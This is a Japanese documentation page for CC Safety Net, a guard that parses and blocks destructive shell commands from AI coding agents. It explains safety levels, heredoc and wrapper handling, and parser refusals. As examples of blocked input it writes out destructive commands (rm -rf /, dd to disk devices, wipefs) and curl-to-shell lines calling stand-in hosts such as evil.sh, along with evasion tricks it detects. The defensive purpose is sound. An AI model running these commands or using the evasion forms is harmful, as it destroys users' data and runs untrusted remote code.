> ## Documentation Index
> Fetch the complete documentation index at: https://ccsafetynet.com/docs/llms.txt
> Use this file to discover all available pages before exploring further.

# 解析エンジンの仕組み

> 解析エンジンの内部仕様です。安全レベルの境界、ラッパーとインタープリターへの再帰、シェルの予約語、シェル関数の呼び出し、git のルール、再帰削除の対象分類、デバイス系コマンド、カスタムルールの照合を扱います。

これは技術ガイドの 4 ページ目です。[アーキテクチャ](/docs/ja/guides/architecture)で説明したガードパイプラインを前提に、破壊的コマンド分類器の判定方法とエッジケースに絞って説明します。`explain` の出力を読む場合や、意図どおりに動く[カスタムルール](/docs/ja/configuration/custom-rules)を書く場合に必要な情報です。

分類器はガードの**最後の**段階です。その前に、上限付きのツール入力抽出、パーサー予算、ポリシーファイルと Git メタデータの保護、ポリシースナップショットの読み込み、シークレット保護がすでに完了しています。これらは[順序付きガードステージ](/docs/ja/guides/architecture#the-ordered-guard-stages)で規定されています。上限付き解析と常時有効なポリシーファイルおよび Git メタデータのガードは、すべての安全レベルで fail closed になります。無効なポリシースナップショットには保護的なフォールバックを適用し、シークレット保護は解決済みポリシーに従います。破壊的コマンド分類器は、前段ですでに行われた判定を緩和できません。

ディスパッチフロー（セグメントへ分割し、環境変数の代入とラッパーを除去し、先頭コマンドを特定して、対応するアナライザーへ渡す）は、[アーキテクチャ](/docs/ja/guides/architecture#inside-command-analysis)に図示しています。このページでは、その続きとして、各アナライザーが受け取ったセグメントを処理する方法と、安全レベルによって境界が変わる位置を説明します。

<span id="safety-level-boundaries" />

## 安全レベルの境界

3 つの安全レベルは、3 つの機能を組み合わせた preset です。レベルごとの境界を知ると、どの操作がブロックされるかを判断できます。

| Level | Fail closed | Paranoid `rm` | Paranoid interpreters |
| - | - | - | - |
| `standard` | オフ | オフ | オフ |
| `strict` | **オン** | オフ | オフ |
| `paranoid` | **オン** | **オン** | **オン** |

3 つの preset のいずれにも一致しない機能の組み合わせは、有効レベル `custom` として報告されます。

### Standard

standard は、認識できる破壊的コマンドをブロックします。ただし意図的に、**敵対的な入力に耐える水準にはしていません**。動的な入力や敵対的な入力に対しては、あくまでベストエフォートです。

* **安全に見える解析不能なテキストは許可します。** `echo 'unterminated` は許可されます。ただし[パーサーが拒否するシェル構文](#shell-syntax-the-parser-refuses)は例外で、このレベルでも拒否されます。
* **認識できる破壊的テキストは、解析不能でもブロックします。** `git reset --hard 'unterminated` は raw-text heuristic scan によってブロックされます。このスキャンは `rm -rf`、`git reset --hard`/`--merge`、`git clean -f`、`git checkout --force`、`git push --force`/`--delete`、`git branch -D`、`git tag -d`、`git stash drop`/`clear`、`git checkout --`、`git restore`、`find -delete`、`dd of=/dev/`、`mkfs /dev/`、`shred <arg>`、シェルへパイプしたダウンロード（`curl … | sh`）を認識します。
* **引用符付きのリテラル代入に含まれる危険なテキストは、実際に使われるまで判定を先送りします。** `W='rm -rf ~'; echo "$W"` は許可されます。代入自体は何も実行せず、引数位置での引用符付きの展開は 1 つの argv の語のままなので、コマンドとフラグに分割されないためです。一方、引用符なしの参照、コマンド位置での参照、コマンド置換内の参照、引用符なしの heredoc 本文内の参照など、より危険な使い方では代入の時点でのブロックを維持します。値をシェルに渡す操作（`eval "$W"`、`bash -c "$W"`、`echo "$W" | sh`）も、シェルの実行元を検証できないため拒否します。strict では、この先送りは行いません。[standard のみの許可](/docs/ja/reference/allowed-commands#standard-only-allowances)を参照してください。
* **動的な `rm -rf` の対象は、一律にはブロックしません。** `rm -rf "$target"` は standard では許可し、fail closed 機能が有効な場合だけブロックします。
* standard はこのほかにも、動的な実行ファイル、コマンド置換で組み立てられた保護対象のコマンド構造、検証できないその他の再帰削除対象、組み込みの機密パスに対するメタデータのみのチェックを、意図的に許可します。このチェックは単独でも、複合コマンドの 1 セグメントとしても許可されます。
* **検証できるローカルの生成コマンドに対する `eval` と `source` は許可します。** `eval "$(ssh-agent -s)"` と `source <(kubectl completion bash)` は、置換の本体が完全にリテラルな単純コマンド 1 つで、リモート取得コマンドでもシェルでもコマンドラッパーでもない場合、standard では通ります。本体は引き続き解析しますが、それが出力するシェルは解析しません。strict と paranoid は、動的なシェルの実行元をすべて拒否します。[standard のみの許可](/docs/ja/reference/allowed-commands#standard-only-allowances)を参照してください。
* 一方 standard でも、**機密情報の内容へのアクセス**、**設定済みの deny path**、致命的な操作に対する保護は緩和されません。

### Strict

[strict モード](/docs/ja/configuration/modes#strict-mode)は fail closed の機能を有効にします。厳しくなるのは、解析できない場合の扱いだけではありません。

* **解析できないコマンドをブロックします。** `echo 'unterminated` は、安全に解析できなかったという理由で拒否されます。
* **メタデータのみで機密パスを探る操作をブロックします。** `test -f ~/.ssh/id_rsa` と `find ~/.ssh -type f` は standard では許可され、strict ではブロックされます。
* **standard 限定のインラインデータ緩和が無効になります。** standard では、インタープリターのインラインコードに含まれる機密パスのリテラルは、コードにファイルシステム操作、コマンド実行、eval のいずれの痕跡もなければ、実行されないデータのままです。痕跡がある場合でも、コレクションの要素や比較のオペランドなど、データの位置にある Python や JavaScript のリテラルはデータのままです。strict はすべてのリテラルを候補として残し、リテラルの中身もスキャンします。[standard モードでのインタープリターのリテラル](/docs/ja/reference/secret-protection#interpreter-literals-in-standard-mode)を参照してください。
* **heredoc が fail closed になります。** heredoc を含むコマンドは、他のアナライザーがそのセグメントを処理する前に、[heredoc の解析](#heredoc-analysis)で説明する狭い条件を満たさないかぎり拒否されます。条件とは、標準入力に接続された展開されない heredoc が 1 つだけで、他に入力リダイレクトがなく、読み取り側がリテラルで書かれた 6 つの候補のいずれかであることです。デリミタに引用符がなく、シェルが本文を展開する場合は「Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify.」で拒否され、条件を満たさないそれ以外の場合は「This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify.」で拒否されます。そのため `python3 - <<'PY'` と、本文に `$HOME` を含む `cat <<EOF` はここで拒否され、本文がプレーンテキストだけの `cat <<EOF` は通過します。
* **検証できない破壊的対象をブロックします。** 次の 6 つのルールは fail closed 機能によって切り替わるため、standard では許可され、strict ではブロックされます。

| ルール ID | 例 | intent |
| - | - | - |
| `rm.recursive-force-dynamic-target` | `rm -rf "$target"` | `scope_down` |
| `powershell.remove-item-recursive-force-dynamic-target` | `Remove-Item $target -Recurse -Force` | `scope_down` |
| `powershell.remove-item-pipeline-dynamic-target` | `Get-ChildItem . -Recurse \| Remove-Item -Force` | `scope_down` |
| `cmd.recursive-delete-dynamic-target` | `cmd /c del /s /q *.log` | `scope_down` |
| `shell.dynamic-executable` | `$(printf r)m -rf /` | `manual_only` |
| `shell.dynamic-structure` | `git reset $(printf --hard)` | `stop_and_explain` |

strict 相当の各ルールは個別に無効化できます。ただし、破壊的コマンドのルール ID を持たない fail closed の結果（パーサーによる fail closed と機密パスに関する判定）には、**strict の動作がそのまま適用されます**。

### Paranoid

[paranoid モード](/docs/ja/configuration/modes#paranoid-mode)は、strict に 2 つの機能を追加します。

* [paranoid の `rm`](/docs/ja/configuration/modes#paranoid-rm-check)は、カレントディレクトリの*内側*であっても、一時ディレクトリ以外を対象とする再帰的な削除をブロックします。`rm -rf ./cache`、`rm -r ./cache`、`Remove-Item ./cache -Recurse -Force`、`cmd /c rmdir /s /q cache` はいずれもブロックされ、`find ./cache -delete` も同様です。一時ディレクトリと設定済みの allow path は引き続き許可されます。
* [paranoid interpreters](/docs/ja/configuration/modes#paranoid-interpreters)は、内容にかかわらず、`python -c "print(1)"` を含むすべてのインタープリター 1 行コードをブロックします。

### ルール単位の override とレベルの関係

致命的な操作以外のルールには、まずマスタースイッチ `destructive_command_protection`、次に解決済みの preset の機能、最後にルール単位の `"on"` / `"off"` の override を適用します。strict 相当や paranoid 相当のルールも、`"on"` の override を使えば standard で強制的に有効にできます。

**致命的な操作に対するルールは、マスタースイッチも `"off"` の override も無視します。** 対象は `rm.recursive-force-root-or-home`、`rm.git-metadata`、`powershell.remove-item-root-or-home`、`powershell.remove-item-recursive-force-root-or-home`、`powershell.remove-item-git-metadata`、`powershell.nested-recursive-delete-unread`、`cmd.recursive-delete-root-or-home`、`cmd.recursive-delete-escaped-quote`、`cmd.recursive-delete-git-metadata`、`find.delete-git-metadata` です。これらは、常時有効なポリシーファイルのガードと同じ扱いになります。

## シェルラッパーとインタープリターの 1 行コード

ラッパーとインタープリターへの再帰は**最大 10 階層**です。1 つでもブロック対象のセグメントがあれば、コマンド全体を拒否します。

セグメントから環境変数の代入とラッパーを取り除いた後、コマンド名を次の 2 つの集合と照合します。

* **シェルラッパー**：`bash`、`sh`、`zsh`、`ksh`、`dash`、`fish`、`csh`、`tcsh`。`-c` の後ろの引数を取り出し、再帰的に解析します。
* **インタープリター**：`python`、`python2`、`python3`、`node`、`ruby`、`perl`。コードの引数（`-c` の後ろ、node・ruby・perl では `-e` の後ろ）を取り出し、埋め込まれた破壊的操作をスキャンします。

既定では、インタープリターのコードに埋め込まれた破壊的コマンドを探します。`python -c 'import os; os.system("rm -rf /")'` は、埋め込まれた `rm -rf /` が理由でブロックされます。1 行コードという形式そのものはブロックの理由になりません。[paranoid interpreters モード](/docs/ja/configuration/modes#paranoid-interpreters)では、内容にかかわらずすべての 1 行コードをブロックします。

危険なテキストがどこにあるかで、standard での読み方が変わります。文字列リテラルの外にあるテキストは、どのレベルでも対象です。リテラルの中にあるテキストが standard で対象になるのは、実行呼び出しがそれを受け取れる場合だけです。具体的には、`os.system(…)` や `subprocess.run(…)` のような呼び出しの括弧の中にリテラルがある場合と、括弧のない `system`、`exec`、`spawn`、`popen` の直後にある場合です。バッククォート、`%x`、`qx` を含むコードは自分自身のテキストを実行するため、常に対象になります。実行呼び出しの第 1 引数がリテラルではなく名前の場合も、変数には任意の文字列が入りうるため、コード中のすべてのリテラルが対象になります。したがって standard は `python3 -c 'import subprocess; print("rm -rf /tmp/x")'` を許可し、`python3 -c 'import os; os.system("rm -rf /tmp/x")'` をブロックします。strict と paranoid は、コードに実行の痕跡（`subprocess`、`child_process`、`open3`、`eval`、`fork` など）が 1 つでもあれば、危険なリテラルをブロックします。

シェルラッパーの `-c` の本体では、入れ子の解析に入る前に、`$N`、`${N}`、`$@`、`$*` をリテラルな位置パラメーターの値に置き換えます。そのため `sh -c 'rm -rf "$1"' _ /` は `rm.recursive-force-root-or-home` でブロックされます。本体の中でさらにシングルクォートに囲まれた参照は、書かれたまま残ります。引用符のない参照は既定の `IFS` で複数の語に分割するため、`sh -c 'rm -rf $1' _ 'dist /'` は `/` のオペランドでブロックされます。リテラルでない引数がある場合、本体が `IFS` に言及している場合、引用符のない値が glob 文字を含む場合、展開がパーサーの入力上限を超える場合は、本体を書き換えません。

`busybox` の呼び出しは特別扱いし、サブコマンドをコマンドの位置に移して解析し直します。`awk`／`gawk`／`mawk` のプログラムについては、`system()` の呼び出しとバッククォートによるコマンド置換をスキャンします。

<span id="command-prompt-and-nested-powershell" />

### コマンドプロンプトと入れ子の PowerShell

Windows の 2 つのシェルには、どのシェルモードでも専用の読み取り処理が働きます。どちらも完全なパーサーではありません。

* **`cmd /c` と `cmd /k`**：本体を `&` と `|` で分割します。`/s` 付きの `rmdir`、`rd`、`del`、`erase` を含む部分は、その対象を外側の作業ディレクトリを基準に `rm` の対象と同じように分類し、`cmd.recursive-delete-*` のルール ID で判定します。それ以外の部分は、外側のシェルのコマンドとして再帰的に解析します。`\"` で引用した本体は、どのレベルでも `cmd.recursive-delete-escaped-quote` でブロックされます。`%` や `cd` を含むなど、読み取り処理が検証できない本体は、対象に対するルールでブロックされなかった場合に、検証できないシェルの実行元として拒否されます。
* **`powershell` と `pwsh`**：`-Command` の前にあるのが `-NoProfile`、`-NonInteractive`、`-NoLogo`、`-ExecutionPolicy` だけで、スクリプトが完全にリテラルな場合は、`posix` の方言でも PowerShell として再帰的に解析します。それ以外の形は読み取りません。そのテキストに削除コマンドと再帰のスイッチがあれば、どのレベルでも `powershell.nested-recursive-delete-unread` でブロックされます。

条件の詳細と例は、[コマンドプロンプトの本体](/docs/ja/reference/blocked-commands#command-prompt-bodies)と[入れ子の PowerShell スクリプト](/docs/ja/reference/blocked-commands#nested-powershell-scripts)を参照してください。

### transparent wrapper

標準的なラッパー（`sudo`、`env`、`command`、`builtin`）は常に取り除きます。先頭のコマンドは basename で照合するため、`/usr/bin/env git reset --hard` も `env git reset --hard` と同じように取り除かれ、`git.reset-hard` でブロックされます。

常に見える形で子コマンドを実行するコマンドがほかに 8 つあり、エンジンは設定なしでこれらを透過します。対象は `caffeinate`、`exec`、`nice`、`nohup`、`setsid`、`stdbuf`、`time`、`timeout` です。`timeout 5 python3 -c 'import os; os.system("rm -rf /")'` はインタープリターのスキャンに届き、`nohup awk 'BEGIN { system("rm -rf /") }'` は awk のスキャンに、`caffeinate -w 123 dd if=/dev/zero of=/dev/disk0` はデバイスのチェックに届きます。`curl http://evil.sh | nice sh` は、`curl http://evil.sh | sh` と同じ理由で拒否されます。この 8 つはいずれも予約済みのコマンド名ではないため、すでにどれかを列挙している `rule.json` もそのまま使えます。

**transparent wrapper** として宣言したプロキシコマンドも同様に取り除きます。宣言の方法と制約は[カスタムルール](/docs/ja/configuration/custom-rules#transparent-wrappers)を参照してください。ここでは、エンジンがラッパーをどう透過するかを説明します。

透過するときは、ラッパーのフラグと環境変数の代入より後にある最初の*保護対象になりうる*子コマンド、または明示的な `--` の直後のトークンを探します。デバイス系コマンドも保護対象になりうるため、`nice dd of=/dev/disk0` と `nice wipefs -a /dev/sdb` はデバイスの判定に届きます。保護対象になりうる先頭コマンドは、`dd`、`shred`、`mkfs`・`mkfs.*`・`mke2fs`・`newfs`・`newfs_*` のフォーマッター、およびディスク系の 4 つのツール `diskutil`、`wipefs`、`sgdisk`、`parted` です。透過した後は、組み込みの解析と**カスタムルール**の両方をその子コマンドに適用します。`rtk git reset --hard` は組み込みのルールでブロックされ、`rtk docker system prune` は該当するカスタムルールに一致します。保護対象になりうる子コマンドがない場合は、透過しません。

宣言されていないプロキシや、見える形で子コマンドを実行せずに書き換えたり隠したりするプロキシは、透過できません。これらを拾える可能性があるのは、最上位で行う危険な文字列のフォールバックスキャンだけです。

同じコマンド内では、セグメントをまたいでカレントディレクトリを追跡します。`rm` と `find` は、この追跡結果を基準に対象を分類します。どの `cd` が追跡され、どの場合にカレントディレクトリが不明になるかは、[作業ディレクトリの追跡](#working-directory-tracking)を参照してください。

<Note>
  既知の制限：インタープリターの**長形式フラグ**（`--eval`、`--execute`、`--require`、および `=value` を付けた形式）は、すべての処理経路で認識されるわけではありません。そのため、コードの引数を取り出せない場合があります。[既知の制限](/docs/ja/guides/known-limitations#interpreter-long-form-flags)を参照してください。
</Note>

<span id="shell-reserved-words" />

## シェルの予約語

`if`、`then`、`elif`、`else`、`while`、`until`、`do`、`!` がコマンドの位置にある場合、それぞれを 1 語だけのコマンドとして解析します。そのため、その直後の語は独立したセグメントの先頭コマンドとして扱われ、対応するアナライザーへ渡されます。セグメントの残りに対する危険な文字列のスキャンだけで扱われることはありません。カスタムルール、`eval`、インタープリターのコード、awk のプログラム、デバイスの判定、関数の呼び出しは、いずれも `if`、`while`、`until` の内側まで届きます。したがって `if true; then eval "rm -rf ~"; fi`、`if true; then (rm -rf ~); fi`、`cleanup() { rm -rf ~; }; if cleanup; then :; fi` はいずれもブロックされ、`docker system prune` に対するカスタムルールは `if true; then docker system prune; fi` でも一致します。

<span id="posix-shell-functions" />

## POSIX シェル関数

関数定義は、実行されるコードではなく定義として解析します。認識する記法は `name() { ... }`、bash のキーワード形式 `function name { ... }`、両者を組み合わせた `function name() { ... }` の 3 つです。開き波括弧は、名前と同じ行に独立した語として置く必要があります。そのため `function cleanup{ echo ok; }` は定義になりません。CC Safety Net は、呼び出し元の時点で有効な作業ディレクトリとシェルの状態を使って、呼び出し位置ごとに関数の本体を解析します。

`cleanup() { rm -rf ../outside; }` は関数を定義するだけなので許可されます。`cleanup() { rm -rf ../outside; }; cleanup` のように呼び出しを追加すると、関数本体のコマンドによってブロックされます。呼び出した本体内の state change は、後続処理へ引き継ぎます。例えば `cleanup() { cd ..; }; cleanup && rm -rf build` は、`rm` の基準が 1 つ上のディレクトリになるためブロックされます。

呼び出しの解決は、シェル自身のルールに従います。

* 呼び出しは、先頭の環境変数の代入（`X=1 cleanup`）、`time` keyword とその `-p` option および `--` terminator、`!` による否定を解決します。組み合わせた `time -p -- ! cleanup` も対象です。名前を quote または escape した形式（`'cleanup'`、`"cleanup"`、`\cleanup`）は alias expansion を抑制しますが、function lookup は抑制しないため、関数を呼び出します。
* 実際のシェルでは実行されない形式、つまり `X=1 time cleanup`、`time "--" cleanup`、空白のない `!cleanup` は、呼び出しとして扱いません。キーワードの形として解決されないためです。
* 呼び出しより前にある最新の定義を優先します。これはシェル自体の再定義の挙動と一致します。
* サブシェル（`( ... )`）内の定義は外に漏れません。brace group（`{ ...; }`）は同じシェル内で実行されるため、その定義は外でも有効です。
* 定義は、同じシェルで動く `eval` や `trap` からも参照できます。`cleanup() { rm -rf ../outside; }; eval cleanup` はブロックされます。一方、子シェルには引き継がれないため、`sh -c cleanup` では関数が解決されません。

関数の本体では、位置パラメーターを束縛しません。`f() { rm -rf "$1"; }; f ~` は動的な対象として扱い、standard では許可、fail closed の機能が有効な場合はブロックします。これは `rm -rf "$X"` と同じ扱いです。[引用符付きの代入に対する判定の先送り](#standard)は、呼び出された関数の本体内にも適用されます。`W='rm -rf ~'; f() { $W; }; f` は、引用符なしのコマンド位置で値を使うため、代入の時点でのブロックを維持します。`f() { echo "$W"; }; f` は、引用符付きの引数データとして許可します。

解析より前のガードステージも、関数の呼び出しを確認します。ポリシーファイルの保護と機密パスの抽出は、各呼び出し位置で実行される brace group と関数本体を評価します。

standard を含むすべてのレベルで、2 つの構造上の境界が fail closed になります。1 つは自己再帰（`loop() { loop; }; loop`）で、再帰の深さの上限によって拒否されます。もう 1 つは分岐する呼び出しの連鎖で、派生コマンドの処理量の上限か、呼び出し位置の展開 256 個という上限によって拒否されます。関数本体に付く heredoc は安全に扱えません。コマンドが解析不能になるため、standard ではヒューリスティックなスキャンの対象になり、strict ではすべて拒否されます。

<span id="heredoc-analysis" />

## heredoc の解析

heredoc の本文は、標準入力に渡されるテキストです。そのテキストをデータとして扱うかプログラムとして扱うかは、読み取り側のコマンドが決めます。そこでエンジンは、他のアナライザーがセグメントを処理する前に、狭く定義した対応条件を確認します。次の条件を**すべて**満たす場合だけ通過します。

* コマンドに含まれる heredoc（`<<` または `<<-`）が、標準入力（fd 0）に接続されたもの 1 つだけであること。
* 展開されない heredoc であること。デリミタが引用符で囲まれている（`<<'EOF'`）か、引用符がなくても本文に `$`、バッククォート、バックスラッシュが含まれないことを指します。どちらの場合もシェルは展開もエスケープ処理も行わないため、本文はバイト単位でそのまま読み取り側に渡ります。standard ではこの条件だけを緩めます。デリミタに引用符がなくても、本文に `$(` もバッククォートも含まれなければ通過するため、変数展開しか起きない本文はデータとして扱い、`$HOME` を含む `cat <<EOF` も許可します。strict と paranoid は引き続き拒否します。
* 標準入力と競合する他の入力リダイレクト（`<`、`<<`、`<<-`、`<<<`、`<&`、`<>`）がないこと。
* 読み取り側が、リテラルで書かれた `cat`、`tee`、`git apply`、`git commit`、`gh pr create`、`gh issue create` のいずれかであること。パスを前置した形や、`env` のようなラッパーを介した形は認められません。出力側のプロセス置換（`>(...)`）がある場合は本文が別のコマンドに渡るため、`cat` と `tee` であっても拒否します。

条件を満たしたコマンドでは、どのレベルでも本文を実行されないデータとして扱います。たとえば `cat > note.md <<'EOF'`、`git commit -F - <<'EOF'`、本文がプレーンテキストだけの `cat <<EOF` は、本文に破壊的なコマンドが書かれていても許可されます。

`cat`、`tee`、`git commit`、`gh pr create`、`gh issue create` では、デリミタが引用符で囲まれた本文を、機密パスの抽出前にマスクします。これにより、「credentials」という単語を含むコミットメッセージがファイル名として扱われることを防ぎます。マスクには引用符が必要です。引用符のない本文は、どの経路で条件を通過した場合でもマスクの対象にならないため、その中にファイル名らしいトークンがあれば抽出されます。`git apply` の本文は patch が書き込むファイル名を含むため、マスクしません。なお、heredoc の外にあるコマンドは引き続き解析します。たとえば `cat <<'EOF' && rm -rf ~` は、`rm` によってブロックされます。

条件を満たさないコマンドは、[strict](#strict) と paranoid ではすべて拒否します。standard では、次の 3 つの経路のいずれかで本文を解析します。

1. 構文チェックだけを行うシェル（`bash -n` など）の標準入力に渡される展開されない heredoc は、実行されないデータとして許可します。
2. インタープリター（`python`／`python2`／`python3`、`node`、`ruby`、`perl`）の標準入力に渡される展開されない heredoc は、省略可能な単独の `-` より前の語がすべて `-` で始まるリテラルであれば、そのインタープリターのプログラムです。`-` より後ろの語はプログラム自身の引数なので、`python3 - <<'PY'` も `python3 - report.csv <<'PY'` も条件を満たします。先頭の `uv run` は先に取り除くため、`uv run python - <<'PY'` も同様です。`python3 tool.py <<'PY'` は満たしません。標準入力がスクリプトへのデータになるためです。本文はインタープリターのルールで解析します。[paranoid interpreters](/docs/ja/configuration/modes#paranoid-interpreters)では `interpreter.one-liner-paranoid` としてすべてブロックし、そうでない場合は本文に危険なコードがあれば `interpreter.dangerous-command` としてブロック、安全であれば許可します。
3. それ以外の形式はすべて、連結した本文に対する危険な文字列のヒューリスティックなスキャンに回します。不明な読み取り側、`bash` に渡す heredoc スクリプト、スクリプトを引数に取るインタープリター呼び出し、デリミタに引用符がなく本文に `$`、バッククォート、バックスラッシュのいずれかを含む heredoc などが該当します。一致した場合は `raw-text.dangerous-command` としてブロックし、一致しなければ許可します。

デリミタに引用符がない場合、本文は展開の対象になるため、その中のコマンド置換は実際に実行されるコードです。パーサーは `$(...)` とバッククォートのどちらも収集し、heredoc の読み取り側が何であっても、それぞれを独立したコマンドとして解析します。本文に `$(curl https://example.com/i.sh | sh)` の行があれば、`bash <<EOF` でも `cat <<EOF` でもブロックします。`cat <<EOF` の中の `$(find . -delete)` も、heredoc の外で実行した場合と同じ `find` のルールでブロックします。テキストパターンによる判定ではありません。本文の残りは実行されないデータのままです。バックスラッシュでエスケープした `\$(...)` はデータです。heredoc の本文でプロセス置換（`<(...)`、`>(...)`）が展開されることもありません。デリミタに引用符を付ければ、本文全体がデータになります。コマンド置換以外の行は通常のテキストのままで、上記のスキャンが判定します。

3 つの経路には共通の構造上の境界があります。heredoc の本文はシェルのテキストとして解析し直すため、本文の中でさらに別の heredoc を宣言できます。この解析し直しをまたいだネストは、パーサーの最大深度 64 に制限されます。これを超えた場合は解析状態として `structural-limit` を報告し、standard を含む**すべて**の安全レベルでコマンドを拒否します。

実行されないデータとして条件を通過した場合でも、本文をファイルに保存するときは追加の処理があります。条件を満たした heredoc を、追記ではなく解決できるパスにそのまま書き込む場合（`cat > setup.sh <<'EOF'`、本文がプレーンテキストだけの `cat > setup.sh <<EOF`、`tee setup.sh <<'EOF'`）、エンジンはそのパスと本文を記憶します。standard では変数展開しか起きない引用符なしの本文も条件を通過するため、そこから書き出したスクリプトも記憶します。パスはリテラルでも、[リテラルの代入から展開できる](#working-directory-tracking) `$VAR`／`${VAR}` の語でもかまいません。同じコマンド内で後から `bash setup.sh`、`sh setup.sh`、`source setup.sh` を実行したり、シェル起動時の設定（`BASH_ENV`、`ENV`、`--rcfile`、`--init-file`）から参照したりすると、記憶しておいたスクリプトのテキストを解析します。トレースには、理由 `heredoc-file` の `recurse` ステップとして表示されます。そのため、本文が破壊的であれば `cat > x.sh <<'EOF' … EOF && bash x.sh` はブロックされます。追跡の範囲は意図的に限定しています。記憶するのは 1 回の解析につき最大 64 ファイルまでで（超えた場合は派生コマンドの処理量の上限によって fail closed になります）、`/dev`、`/proc`、`/sys` 配下のパスは追跡しません。追跡中のパスにその後書き込みやリダイレクトがあった場合、記憶した本文は無効になります。

<span id="brace-expansion" />

## ブレース展開

パーサーは、リテラルとして解決できた語の中の `{a,b}` を展開します。変数やコマンド置換を含む語はそのまま残すため、`{rm,$(printf ls)} -rf /` ではブレースが残ります。入れ子や隣接したブレースもすべて展開し、`{r,l}{m,s} -rf /` は `rm rs lm ls -rf /` になります。スキャナーは引用符とバックスラッシュのエスケープを解釈するため、`{"rm",ls}`、`{'rm',ls}`、`{r\m,ls}`、`{rm,l"s"}` はいずれも `{rm,ls}` と同じ結果になります。

展開結果の読み方は、ブレースの位置で決まります。

**コマンド位置。** 展開した候補は、シェルと同じ順で語のリストに差し込みます。`{rm,ls} -rf /` は `rm ls -rf /` として解析し、`rm` でブロックします。コマンドになるのは最初の候補だけで、これはシェルの動作と同じです。`{ls,rm} -rf /` はオペランド `rm -rf /` を付けて `ls` を実行するため、許可されます。前に付いた文字はそのまま残り、`a{rm,ls}` は `arm als` になります。範囲はここでは展開しないため、`{1..3}` はリテラルな 1 語のままです。先頭の `VAR=value` の代入や、`sudo`、`env`、`command` のプレフィックスがあっても、その後ろがコマンド位置です。

**`rm` と `find` の削除対象の位置。** シェルはすべての候補をコマンドに渡すため、最初の候補だけでなく、すべての候補を分類します。`rm -rf {x,/}` は `x` が無害でも `/` でブロックし、`find {x,/} -delete` も同様です。

削除対象のブレースを解決できない場合は、リテラルとして読まずに fail closed になります。対象になるのは、範囲（`rm -rf {a..c}` と `rm -rf ./{a..c}` はいずれも `rm.recursive-force-outside-cwd` として拒否します）と、64 語または 16,384 文字を超える展開です。コマンド位置のブレースは、代わりに[パーサーの上限](/docs/ja/guides/architecture#parsers-and-the-runtime-dependency-surface)で制限します。こちらを超えた場合は、解析が `Structural command analysis limit exceeded.` で終わり、すべての安全レベルで拒否になります。

<span id="shell-syntax-the-parser-refuses" />

## パーサーが拒否するシェル構文

POSIX パーサーは、いくつかの構文を通常のテキストとして読まず、その場で拒否します。いずれも、シェルが最終的に実行するコマンドを変えてしまう構文です。拒否した構文があると解析全体が無効になります。無効な解析は、standard を含む**すべて**の安全レベルで、`analysis.strict-unparseable` として、安全に解析できなかったという理由とともにコマンドを拒否します。引用符が閉じていない場合に standard が使う [raw-text heuristic scan](#standard) には回らないため、中身が無害でもこれらの形式は拒否されます。以下に挙げる識別子はパーサー内部の issue コードで、拒否の理由に表示されるのは常に `analysis.strict-unparseable` です。

**関数置換。** 空白または `|` が続く `${` は関数置換の開始で、その中のコマンドは現在のシェルで実行されます。パーサーはこれを `unsupported-function-substitution` として拒否するため、`echo ${ rm -rf ~/; }` と `echo ${|REPLY=x; }` はどちらも拒否され、無害な `echo ${ date; }` も拒否されます。本文の内容を判定せず形式そのものを拒否するのは、意図的な設計です。パーサーがこの開始を検出するのは、通常の語の中、ダブルクォートの中、算術展開の中（`echo $(( ${ rm -rf x; echo 0; } ))` とそのダブルクォート版）、`${…}` のオペランドの中（`echo ${x:-${ rm -rf ~/; }}`）、入れ子のシェルの中（`bash -c 'echo ${ rm -rf ~/; }'`）、そして引用符のない heredoc の本文の中です。heredoc の本文では、`#` で始まる行もコメントではなく通常の行として読みます。`$` と `{` の間にあるバックスラッシュ改行と、`{` の直後にあるバックスラッシュ改行は読み飛ばすため、その書き方も捕捉します。リテラルのテキストとして扱い許可するのは次の 3 つです。シングルクォートで囲んだ `'${ rm -rf x; }'`、エスケープした `\${ rm -rf x; }`、そして引用符付きデリミタの heredoc 本文です。

**置換を隠している可能性のある `${…}` の中の引用符やバックスラッシュ。** この拒否には 2 つの条件が重なる必要があり、issue コードは `unsupported-parameter-expansion` です。1 つは、その `${…}` が、中に含まれる置換の本体の外側に引用符またはバックスラッシュを持つことです。もう 1 つは、`$(`、バッククォート、`<(`、`>(` のいずれかが、同じ展開の中か、コマンドの後方のどこかに現れることです。heredoc の本文は、この後方のテキストには数えません。そのため `echo ${x:-"$(rm -rf ~/)"}` と `echo ${x:-"a"} "$(date)"` はどちらも拒否されます。

この判定が見るのは、後方に置換の開始があるかどうかだけです。展開を途中で閉じてしまう引用符が隠せるのはその後ろに来る置換だけなので、引用符の位置も対応関係も読みません。そのため `echo "${MSG:-it's done}"` は引き続き許可されます。置換が先に来る `echo $(date) ${x:-"a"}` も、本文に `$(date)` を置いた `cat ${x:-"a"} <<EOF` も許可されます。`${…}` の中のバックスラッシュ改行は `$` と `(` を切り離して置換を隠せるため、後ろに置換があるかどうかにかかわらず、同じ issue コードで拒否します。

**閉じブレースのない `${…}`。** `echo ${x`、`echo "${x"`、`echo ${x:-$(date)` は `unclosed-parameter-expansion` として拒否します。

**バッククォートの本体にあるバックスラッシュのエスケープ。** バッククォート処理がシェルの実行前に書き換えるエスケープは 4 種類だけです。`\\`、`\$`、バッククォートの前のバックスラッシュ、バックスラッシュ改行です。このいずれかを含む本体は `unsupported-backtick-escape` として拒否します。エスケープした `\$` は置換を隠すため、`echo "\$(rm -rf ~/)"` をバッククォートの本体に置くと、書き換えでバックスラッシュが外れて `rm -rf ~/` が実行されます。二重のバックスラッシュはコマンド名を組み立てるため、`r\\m -rf ~/` をバッククォートの本体に置くと `rm` が実行されます。4 種類のどれも含まない本体は通常どおり解析するため、`date` をバッククォートに入れた形は許可されます。

**最大深度で切られても関数置換の開始が残っている heredoc の置換。** パーサーの最大深度 64 によって heredoc 本文の置換が途中で切られた場合、パーサーは読み取れなかったテキストから `${` の開始を探し、何も見つからなかったと報告するのではなく、関数置換としてコマンドを拒否します。本文の走査は切られた置換より先も続くため、後ろの本文行にある `${ cd ~; }` も捕捉します。

### パラメーター展開と算術展開の中の置換

`${…}` のオペランドの中や、ダブルクォートで囲んだ算術展開の中にある置換は、以前は生のテキストのままでした。そのため、そこに書かれた破壊的コマンドはどの安全レベルでも見えていませんでした。現在はどちらも読み取ります。

